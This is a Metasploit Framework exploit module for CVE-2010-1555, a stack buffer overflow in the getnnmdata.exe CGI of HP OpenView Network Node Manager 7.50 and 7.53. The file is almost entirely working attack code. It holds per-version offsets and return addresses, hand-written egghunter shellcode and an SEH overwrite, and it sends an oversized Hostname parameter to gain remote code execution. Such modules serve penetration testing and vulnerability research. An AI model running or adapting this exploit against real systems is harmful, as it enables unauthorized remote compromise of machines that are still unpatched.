##
# $Id: hp_nnm_getnnmdata_hostname.rb 12131 2011-03-25 00:46:59Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/getnnmdata.exe', :pattern => /Hewlett-Packard Development Company/ }

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'HP OpenView Network Node Manager getnnmdata.exe (Hostname) CGI Buffer Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in HP OpenView Network Node Manager 7.50/7.53.
    By sending specially crafted Hostname parameter to the getnnmdata.exe CGI,
    an attacker may be able to execute arbitrary code.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 12131 $',
   'References'     =>
    [
     [ 'CVE', '2010-1555' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 750,
     'BadChars' => "\x00",
     'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
     'DisableNops' => 'True',
     'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
     'EncoderOptions' =>
      {
       'BufferRegister' => 'ECX',
      },
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'HP OpenView Network Node Manager 7.50', { 'Offset' => 65640, 'Ret' => 0x5a01f277 } ],
     [ 'HP OpenView Network Node Manager 7.53', { 'Offset' => 65640, 'Ret' => 0x5a666d69 } ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'May 11 2010'))

  register_options( [ Opt::RPORT(80) ], self.class )
 end

 def exploit

  egg = rand_text_alpha_upper(4)

  hunter =  "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
  hunter << "\xef\xb8" + egg + "\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

  boom =  rand_text_alpha_upper(target['Offset'])
  boom << generate_seh_record(target.ret)
  boom << hunter + egg + egg
  boom << payload.encoded
  boom << rand_text_alpha_upper(90024 - payload.encoded.length)
  
  sploit = "SnmpVals=&Hostname=#{boom}"

  print_status("Trying target #{target.name}...")

  send_request_cgi({
   'uri'  => '/OvCgi/getnnmdata.exe',
   'method' => 'POST',
   'data'  => sploit
   }, 8)
  
  handler

 end

end